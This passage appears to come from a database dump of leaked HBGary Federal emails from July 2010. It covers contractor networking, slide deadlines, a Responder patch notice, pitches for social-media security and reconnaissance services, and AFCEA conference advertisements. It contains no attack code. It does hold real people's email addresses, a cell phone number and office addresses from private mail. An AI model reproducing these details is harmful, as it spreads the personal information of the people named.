Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>>>>>>>\r\n>>>>>>> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>>>>>>>\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>                \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>            \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>    \r\n',2119,'aaron_hbgary_com/2119.html'),(8128,'2010-07-01','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006334.M390594P14101Q2983.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm (david.merritt.ctr@osd.mil)','',7120,'aaron_hbgary_com/7120.html'),(8129,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006334.M617491P14101Q2984.eml','aaron@hbgary.com','RE: When can I expect your slides?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow we doing Aaron?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 12:55 PM\r\nTo: Ricart, Richard\r\nSubject: Re: When can I expect your slides?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry rich,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOne thing we didn\'t cover this morning was timeline. &nbsp;I\r\ndidn\'t realize the timeliness. &nbsp;I will get them to you shortly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 1, 2010, at 12:51 PM, &quot;richard.ricart@accenture.com&quot;\r\n&lt;richard.ricart@accenture.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFolks,\r\n\r\n&nbsp;\r\n\r\nWe\r\nare about to review the slides with a senior manager.&nbsp; When can we have\r\nthe slides?\r\n\r\n&nbsp;\r\n\r\nRick\r\nRicart\r\n\r\nAccenture\r\n\r\nChief\r\nEngineer, Defense\r\n\r\n3505 Lake Lynda\r\nDrive, Suite 115\r\n\r\nOrlando, FL&nbsp;\r\n32817\r\n\r\nCell:\r\n321-544-4000\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',12426,'aaron_hbgary_com/12426.html'),(8130,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006337.M870878P14101Q2985.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Eric Eifert\" <eric.eifert@mantech.com>','Meeting on Wednesday','Eric,\r\n\r\nI understand your going to be out of town on Wednesday.  I have a later meeting with Bob Frisbie.  Do you want to reschedule or is there someone else that would be good for me to meet with?  I am hearing from Bob Slapnik, our IC and DIB sales manager, that he is working with someone in your organization to integrate Active Defense into an IRAD.  If you have not seen Active Defense it would be worth a demo.  HBGary Federal is taking over the development of our Threat Management Center to build a more consolidated threat intelligence capability and partnering with SecDev to combine datasets.\r\n\r\nSorry if this is spam but I do not see in my outbox that I sent this to you.  Attached is our general Information Security Services offerings.\r\n\r\nI am working on our Social Media services offerings which is focused on a 1 day familiarization course of social media (uses, risks, use cases, protective measures), and a social media security consulting service with an information exposure services offering.  We have a lot of experience is social media, as Bob can attest, mostly on the offensive side, which gives us a pretty good vantage point on how to better defend or at least monitor.\r\n\r\nI am also working on a more targeted customer white paper that explains what we have to offer on the offensive side, including how we can help red teams perform information reconnaissance and pen testing using social media.\r\n\r\nI will send the social media services marketing sheet when its finished.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12448,'aaron_hbgary_com/12448.html'),(8131,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006344.M971530P14101Q2986.eml','richard.ricart@accenture.com','Re: When can I expect your slides?','Let me know what else you might need included.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Jul 1, 2010, at 3:02 PM,  wrote:\r\n\r\n> How we doing Aaron?\r\n>  \r\n> Rick Ricart\r\n> Accenture\r\n> Chief Engineer, Defense\r\n> 3505 Lake Lynda Drive, Suite 115\r\n> Orlando, FL  32817\r\n> Cell: 321-544-4000\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 01, 2010 12:55 PM\r\n> To: Ricart, Richard\r\n> Subject: Re: When can I expect your slides?\r\n>  \r\n> Sorry rich,\r\n>  \r\n> One thing we didn\'t cover this morning was timeline.  I didn\'t realize the timeliness.  I will get them to you shortly.\r\n>  \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 1, 2010, at 12:51 PM, \"richard.ricart@accenture.com\"  wrote:\r\n> \r\n>  \r\n> Folks,\r\n>  \r\n> We are about to review the slides with a senior manager.  When can we have the slides?\r\n>  \r\n> Rick Ricart\r\n> Accenture\r\n> Chief Engineer, Defense\r\n> 3505 Lake Lynda Drive, Suite 115\r\n> Orlando, FL  32817\r\n> Cell: 321-544-4000\r\n>  \r\n> This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n> \r\n> \r\n> This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6696,'aaron_hbgary_com/6696.html'),(8132,'2010-07-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006345.M528150P14101Q2987.eml','\"Alex Torres\" <alex@hbgary.com>,all@hbgary.com','RE: Responder 2.0.0.0570 is live','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAwesome, have we informed the customers Charles?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Alex Torres\r\n[mailto:alex@hbgary.com] \r\nSent: Thursday, July 01, 2010 11:25 AM\r\nTo: all@hbgary.com\r\nSubject: Responder 2.0.0.0570 is live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe patch for Responder 2.0.0.0570 is now live. This patch\r\nfixes several bugs including:\r\n\r\n\r\n\r\n\r\n\r\n\r\n Several bug fixes in memory dump analysis.\r\n Enhanced identification of memory regions during\r\n     analysis.\r\n Improvements in memory usage.\r\n Fixed bug in Internet History panel.\r\n\r\n\r\n\r\n\r\nA new evaluation build will also be up shortly.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Engineering\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2007,'aaron_hbgary_com/2007.html'),(8133,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006345.M866290P14101Q2988.eml','paul.davis@njvc.com,paul.davis@njvc.com','Social Media Converation','Paul,\r\n\r\nBob just reminded me that he had a conversation with you about social media and you expressed an interest or capability?  Let me know if you would like to discuss further.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6343,'aaron_hbgary_com/6343.html'),(8134,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006346.M123251P14101Q2989.eml','paul.davis@njvc.com,paul.davis@njvc.com','Social Media Converation','Paul,\r\n\r\nBob just reminded me that he had a conversation with you about social media and you expressed an interest or capability?  Let me know if you would like to discuss further.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2351,'aaron_hbgary_com/2351.html'),(8135,'2010-07-01','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297006346.M360918P14101Q2990.eml','all@hbgary.com','Re: Responder 2.0.0.0570 is live','New Eval build is now up on the Portal.On Thu, Jul 1, 2010 at 11:24 AM, Alex Torres &lt;alex@hbgary.com&gt; wrote:\r\nThe patch for Responder 2.0.0.0570 is now live. This patch fixes several bugs including:Several bug fixes in memory dump analysis.Enhanced identification of memory regions during analysis.\r\n\r\nImprovements in memory usage.Fixed bug in Internet History panel.A new evaluation build will also be up shortly. -Engineering\r\n\r\n',15839,'aaron_hbgary_com/15839.html'),(8136,'2010-07-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006346.M597635P14101Q2991.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','IR','I spoke with Mike.  Right now we&#39;re planning that I will attend the IR with Mike in OH.  Mark will go to Sacramento next week (I will too if the engagement is done) to get up to speed on TMC and wrap up a server and slave image.  Mark will also start working to help Greg complete the Fingerprint tool before BlackHat.\r\nTed\r\n\r\n',13744,'aaron_hbgary_com/13744.html'),(8137,'2010-07-01','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297006346.M836386P14101Q2992.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Check-in','Aaron,\r\n\r\nJust wanted to check in and see how you guys were doing. Also, do you have any insight into the CTSC opportunity? From what we can tell, it seems to have gone away for the time being?\r\n\r\n	Regards,\r\n	Irby',1088,'aaron_hbgary_com/1088.html'),(8138,'2010-07-02','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297006347.M318288P14101Q2994.eml','aaron@hbgary.com','Warfighter Support Agencies IT Day - July 15 One-Day Conference - DISA, MHS, JIEDDO, DLA, BTA, USSOCOM, DTRA','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        2nd Annual AFCEA NOVA Combat Support IT Day has a new name, but an even \r\n        more impressive line-up of speakers:\r\n        \r\n        Warfighter Support\r\n        AGENCIES IT DAY\r\n        Challenges &amp; Needs -\r\n        Solutions &amp; Capabilities\r\n      July \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n        Gratis for Mil/Gov Employees who pre-register\r\n        Early-Bird Rate for Industry Extended\r\n        www.afceanova.org/agenciesitday\r\n      About \r\n        Agencies IT Day\r\n      AFCEA \r\n        NOVA leads the way in focusing industry&#8217;s attention on IT capabilities \r\n        that are important to the Department of Defense by presenting the 2nd \r\n        Annual &quot;Warfighter Support Agencies IT Day&quot; (formerly named \r\n        Combat Support IT Day). This event goes beyond our traditional Uniformed \r\n        Services IT Days &amp; focuses on the Agencies and Commands who Support \r\n        the Warfighter in their operational &amp; business missions. See details \r\n        below on the highlighted agencies and why you should be following them.\r\n      This one \r\n        day conference presents an outstanding opportunity to hear from the key \r\n        DoD organizations providing vital IT systems and capabilities to support \r\n        our Warfighting Services. The theme is &#8220;Warfighter IT Support &#8211; \r\n        Challenges &amp; Needs - Solutions &amp; Capabilities&#8221; and the speakers \r\n        will address their visions, requirements, challenges, strategies, and \r\n        potential procurements.\r\n      Program \r\n        highlights include:\r\n      \r\n         Briefs \r\n          from STRATCOM, MHS, JIEDDO, BTA, DLA (see below why these \r\n          are agencies you should be following)\r\n        An Afternoon \r\n          with the DISA (did you miss Nashville? come to Agencies \r\n          IT Day)\r\n        Healthcare \r\n          Panel, and Town-Hall\r\n        Parallel \r\n          Small Business Program with speakers from BTA, DTRA, DLA, USTRANSCOM\r\n         Tribute \r\n          to WW II Veteran Colonel William Ryan, Jr.\r\n      \r\n      &#8220;An \r\n        Afternoon with DISA&#8221;\r\n      DEFENSE \r\n        INFORMATION SYSTEMS AGENCY (DISA).&nbsp; Our featured agency \r\n        for the afternoon is DISA, a Combat Support Agency that engineers and \r\n        provides command and control capabilities and enterprise infrastructure \r\n        to continuously operate and assure a global net-centric enterprise in \r\n        direct support to joint warfighters, National level leaders, and other \r\n        mission and coalition partners across the full spectrum of operations.&nbsp; \r\n        DISA manages over $6B of acquisitions and contracts, and continues its \r\n        build of the Global Information Grid (GIG), providing Netcentric Enterprise \r\n        Services to access, post, process, use, store, and manage information \r\n        on demand, providing world-class computing services, and overseeing the \r\n        evolution of existing DOD Command and Control (C2) systems. Their largest \r\n        IT contract, GIG Services Management Operations (formerly DISN Global \r\n        Solutions) is valued at $4.6B and is facing a recompete. In addition, \r\n        DISA oversees acquisition of three other ACAT I major programs, three \r\n        major services acquisitions, and about 50 smaller programs. They are about \r\n        to recompete other contracts for small businesses such as GSM Engineering, \r\n        Transition, and implementation, valued at $300M. More upcoming business \r\n        opportunities include Future Commercial SATCOM Services (FCSA), and multiple \r\n        solicitations in Cyber Security and Information Assurance, Joint Command \r\n        and Control, Enterprise Services, Spectrum Support, Internal Operations \r\n        Support, and Physical Security. \r\n      At this IT \r\n        Day, DISA plans to unveil their new approach towards IT that will affect \r\n        their management and acquisitions going forward.&nbsp; DISA will also \r\n        be in the midst of moving from Virginia to the Ft Meade campus.&nbsp; \r\n        Throughout these changes, DISA will depend on their industry partners.&nbsp;\r\n      DISA \r\n        Speakers:\r\n      \r\n        Maj. \r\n          Gen. Ronnie D. Hawkins, USAF - Vice Director, Defense Information \r\n          Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Anthony &#8220;Tony&#8221; Montemarano - Component Acquisition \r\n          Executive, Defense Information Systems Agency (DISA) (confirmed)\r\n        Ms. \r\n          Paige Atkins - Director of the Strategic Planning and Information \r\n          Directorate, Defense Information Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Henry Sienkiewicz - CIO, DISA (confirmed)\r\n        Mr. \r\n          Dave Bennett - Dep PEO-GES, DISA (confirmed)\r\n        Mr. \r\n          Martin Gross - Dep PEO-C2C, DISA (confirmed)\r\n      \r\n      Additional \r\n        Featured Speakers from the following Agencies:\r\n      JOINT \r\n        IED DEFEAT ORGANIZATION (JIEDDO) leads DoD actions to rapidly \r\n        provide Counter Improvised Explosive Device capabilities in support of \r\n        the Combatant Commanders and to enable the defeat of the IED as a weapon \r\n        of strategic influence.\r\n      JIEDDO \r\n        Speaker:\r\n      \r\n        Mr. \r\n          Frank Larkin - Deputy Director, Operations Integration, Joint \r\n          IED Defeat Organization (JIEDDO)\r\n      \r\n      MILITARY \r\n        HEALTH SYSTEM (MHS) provides healthcare services in support of \r\n        the nation&#8217;s military mission.&nbsp; They acquire almost $2B to \r\n        meet the medical needs of the war fighter and to capture and manage patient \r\n        health data from the foxhole to the medical treatment facilities.&nbsp; \r\n        MHS maintains military electronic health records, manages medical combat \r\n        support systems, and medical supply logistics systems.&nbsp; The Military \r\n        Health System\'s Electronic Health Record is a high priority. Currently \r\n        a system of systems, it provides access to patient data across austere \r\n        and low bandwidth environments, as well as in brick and mortar hospitals.&nbsp; \r\n        MHS is continually evolving these systems and capabilities to better support \r\n        enhanced care for more than 9.6M beneficiaries. MHS challenges include \r\n        system performance/interoperability and increased data sharing as the \r\n        veteran population grows. Their first step is to stabilize and improve \r\n        what currently exists to increase speed, reliability, and provide the \r\n        end users with an improved look and feel.&nbsp; This will be followed \r\n        with updates and added versatility, while remaining operational 24/7 to \r\n        ensure patient data is in the hands of those who need it, where they need \r\n        it, and when they need it to care for our Service members, their family \r\n        members, and our retirees.\r\n      MHS \r\n        &amp; Military Health IT Speakers:\r\n      \r\n        Mr. \r\n          Charles Campbell - CIO, MHS (confirmed)\r\n        Lt \r\n          Col Kevin P Seeley, USAF, MSC, CHE, CPHIMS - Air Force Medical \r\n          Service Assistant CIO &amp; Chief, Enterprise Architecture Division, \r\n          Air Force Medical Support Agency (confirmed)\r\n        Col. \r\n          Claude Hines - Deputy Program Executive Officer, Health \r\n          Information Management System (DHIMS) (confirmed)\r\n        Mr. \r\n          Gilmer - Chief Technology Officer, US Army Northern Regional Medical \r\n          Command (ACSIM) Walter Reed AMC (DOIM) (invited)\r\n        Navy \r\n          BUMED (invited)\r\n      \r\n      BUSINESS \r\n        TRANSFORMATION AGENCY (BTA) guides the transformation of business \r\n        operations throughout the Department of Defense and delivers Enterprise-level \r\n        capabilities that align to warfighter needs. The BTA through its 8 directorates \r\n        is recognized as the champion for driving and accelerating improvements \r\n        to business operations across the Department of Defense. To accomplish \r\n        the goal of providing consistency, consolidation and coordination across \r\n        the Department of Defense, the BTA produced the Enterprise Transition \r\n        Plan (ETP) -- an integrated and executable roadmap that observes the standards \r\n        laid out in the Business Enterprise Architecture (BEA). The ETP and the \r\n        BEA enable the Department to transform business operations to achieve \r\n        improved warfighter support while enabling financial accountability across \r\n        the Department of Defense.\r\n      BTA \r\n        Speakers:\r\n      \r\n        Mr. \r\n          David Fisher - Director, Defense Business Transformation Agency \r\n          (BTA) (confirmed)\r\n        Mr. \r\n          Keith Seaman, Acting Director, DBSAE Business Transformation \r\n          (confirmed) \r\n      \r\n      DEFENSE \r\n        LOGISTICS AGENCY (DLA), the largest DOD combat support agency, \r\n        provides worldwide logistics support to both military and civilian agencies \r\n        and foreign countries.&nbsp; DLA manages over 5.2 million items through \r\n        eight supply chains with sales and services exceeding $42B in FY08.&nbsp; \r\n        They have numerous IT initiatives underway and planned to support the \r\n        management of supply chains, warehousing and depots, and IT infrastructure.\r\n      DLA \r\n        Speaker:\r\n      \r\n        Mr. \r\n          Thomas Michelli - Director Enterprise Solutions, Defense Logistics \r\n          Agency (DLA) (confirmed)\r\n      \r\n      Plus \r\n        Additional Briefs from:\r\n      \r\n        Mr. \r\n          John Wilcox, - Director, C4 Systems (J6), U.S. Special Operations \r\n          Command (USSOCOM)\r\n        Mr. \r\n          Dave Belva, CIO, Defense Threat Reduction Agencey (DTRA) (confirmed)\r\n        Mr. \r\n          Dave Devries, DoD Chief Architect &amp; Principal Director, \r\n          DoD Deputy CIO, Office of the ASD-NII/DoD-CIO (confirmed)\r\n      \r\n      WORLD \r\n        WAR II VETERAN Colonel William Ryan, Jr. served with the 15th \r\n        Infantry Regiment, 3rd Infantry Division from November 1944 until the \r\n        end of the war.&nbsp; He commanded I Company, 3rd Battalion, in the fighting \r\n        for Sigolsheim, Bennwihr, and Mittelwihr outside of Colmar, France in \r\n        December &#8216;44 and for the rest of the Battle of the Colmar Pocket \r\n        into February &#8216;45. He was wounded on 15 March 1945 going through \r\n        the Siegfried Line and didn\'t return to the Regiment until late April. \r\n        After the war he became a missile man, and rose to Colonel in that branch.&nbsp; \r\n        He retired in 1996, with 53 years on active duty, having served almost \r\n        30 years with the American Battle Monuments Commission.\r\n      Why \r\n        Should You Attend?\r\n      \r\n        If you \r\n          are serving our nation in uniform or through civil service, this provides \r\n          a unique opportunity for professional development - with access to senior \r\n          leaders in Government and Industry.\r\n        If you \r\n          are in industry, or other organization supporting our military Agencies \r\n          &amp; Services, then this is one of the best events in the region to \r\n          help you identify opportunities to grow your business in this market \r\n          space.\r\n         Together \r\n          the agencies represented spend billions on a wide variety of IT services \r\n          and products!!!\r\n      \r\n      Mark \r\n        your calendars for July 15th and register now online:\r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Gratis \r\n        for Mil/Gov Employees who pre-register\r\n        Early-Bird Rate for Industry Extended\r\n      Register \r\n        to Attend Agencies IT Day\r\n      For \r\n        more Information, please Contact:\r\n        AFCEA NOVA Staff @ CAPLEAD, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Agency \r\n          display booths throughout the lobby\r\n        Small \r\n          Business Plenary \r\n          Sessions &amp; Small-group Meetings - \r\n          runs in the morning and afternoon, parallel to the full conference\r\n          \r\n      \r\n    &nbsp;\r\n    \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              Agencies \r\n                IT Day Links\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              About \r\n                      Agencies IT Day\r\n                      Speakers \r\n                      &amp; Program\r\n                      Small \r\n                      Business Track\r\n                      Sponsorship\r\n                      Venue \r\n                      &amp; Directions\r\n                      Registration \r\n                      \r\n                    \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Diamond Sponsor\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Premiere Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n              \r\n            \r\n          \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Gold Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                  \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Small Business Silver Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                  \r\n                  \r\n                \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n\r\n      \r\n        \r\n          \r\n            \r\n              Follow AFCEA NOVA on\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n          Key \r\n          Sponsorship Slots are\r\n          Still \r\n          Available!\r\n        \r\n        &nbsp;\r\n    \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',5114,'aaron_hbgary_com/5114.html'),(8139,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006347.M599328P14101Q2995.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm 	(david.merritt.ctr@osd.mil)','Dave,\r\n\r\nJust found out Greg is going to be in town wed. Night.  Do you want\r\nhim to join us or just me?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 2:52 PM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> \r\n',14666,'aaron_hbgary_com/14666.html'),(8140,'2010-07-01','\"AFCEA DC Cybersecurity Committee\" <events@afceadc.org>','/aaron@hbgary.com/new/1297006347.M69250P14101Q2993.eml','aaron@hbgary.com','Last week to register for the July 8 Cybersecurity Symposium on USCYBERCOM\'s Role in Protecting .mil, .gov & .com','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        \r\n        \r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n           \r\n               \r\n                &nbsp;\r\n                Last Week \r\n                    to Register. Early-Bird rate extended due to the generosity \r\n                    of our sponsors!\r\n                  2nd Annual AFCEA DC\r\n                    Cybersecurity Symposium\r\n                    USCYBERCOM\'s Role in Protecting \r\n                    .mil, .gov &amp; .com\r\n                  Thursday, July 8, 2010\r\n                    8am-5pm - Hilton Washington, Washington, \r\n                    DC\r\n                    www.afceadc.org/cyber \r\n                  \r\n                  Speakers &amp; Program\r\n                  \r\n                    Luncheon Keynote: VADM Carl V. Mauney, \r\n                      USN - Deputy Commander, U.S. Strategic Command \r\n                      (USSTRATCOM) (confirmed)\r\n                      \r\n                    \r\n                    Closing Keynote: Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator (confirmed)\r\n                      \r\n                    \r\n                    Morning Keynote: Mr. Ed Mueller \r\n                      - Chair, National Security Telecommunications Advisory Committee \r\n                      (NSTAC)  (confirmed) \r\n                      \r\n                    \r\n                     Morning Keynote: Mr. Phil Reitinger \r\n                      - Deputy Under Secretary of National Protection &amp; Programs \r\n                      Directorate (NPPD), U.S. Department of Homeland Security \r\n                      (DHS) (confirmed)\r\n                      \r\n                    \r\n                    Reaction to Cyber Shockwave - Enter DoD &amp; \r\n                      USCYBERCOM\r\n                      Panel Block on .Mil to .Gov Relationships \r\n                      \r\n                      \r\n                      \r\n                        Mr. Bob Butler - Deputy Assistant \r\n                          Secretary of Defense for Cyber Policy, U.S. Department \r\n                          of Defense (DoD)  (confirmed)\r\n                          \r\n                          \r\n                        BG John Davis, USA - Deputy Director \r\n                          of Operations (J-33), U.S. Cyber Command (USCYBERCOM) \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        RADM Mike Brown - Deputy Assistant \r\n                          Secretary for Cyber Security &amp; Communications (CS&amp;C), \r\n                          U.S. Department of Homeland Security (DHS)  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Bruce Held - Director of Intelligence \r\n                          &amp; Counter Intelligence, U.S. Dept of Energy  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Moderator: Gen. \r\n                          Ronald E. Keys (USAF, Ret) - former Commander, \r\n                          Air Combat Command (ACC), USAF, &amp; currently President, \r\n                          RK Solution Enterprises  (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Public Private Partnerships Framework\r\n                      Panel Block on .Mil/.Gov to .Com Relationships \r\n                      \r\n                      \r\n                      \r\n                        Ms. Anne Neuberger - Special Assistant \r\n                          to the Director for Enduring Security Framework Forum \r\n                          (Public Private Partnerships Framework), National Security \r\n                          Agency (NSA)/USCYBERCOM (confirmed)\r\n                          \r\n                          \r\n                        Mr. Riley Repko - Senior Advisor, \r\n                          Cyber Operations &amp; Transformation, \r\n                          Deputy Chief of Staff for Air, Space &amp; Information \r\n                          Operations, Plans &amp; Requirements (A3/5), U.S. Air \r\n                          Force, detailed to the Office of the Asst SecDef for \r\n                          Cyber  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Ellen McCarthy - President, Intelligence \r\n                          and National Security Alliance (INSA)  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Guy Copeland - Chairman, Cross-Sector \r\n                          Cybersecurity Working Group (CSCSWG)  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Victoria Morgan - Director, Intelligence, \r\n                          Interagency &amp; Networks, Cyber Security Task Force, \r\n                          Defense Industrial Base (DIB)  (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Standing Up USCYBERCOM\r\n                      Panel Block on .Mil to .Mil Relationships\r\n                      \r\n                       \r\n                      \r\n                        Maj. Gen. Suzanne &quot;Zan&quot; Vautrinot \r\n                          - Director of Plans and Policy (J5), U.S. Cyber Command \r\n                          (USCYBERCOM)  (confirmed)\r\n                          \r\n                        \r\n                        LtGen George Flynn - Commander, Marine \r\n                          Corps Forces Cyberspace Command (MARFORCYBER)  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        RADM Robert Day - Director, Cyber \r\n                          Command, U.S. Coast Guard  (confirmed)\r\n                          \r\n                          \r\n                        MG Rhett Hernandez - Currently Assistant 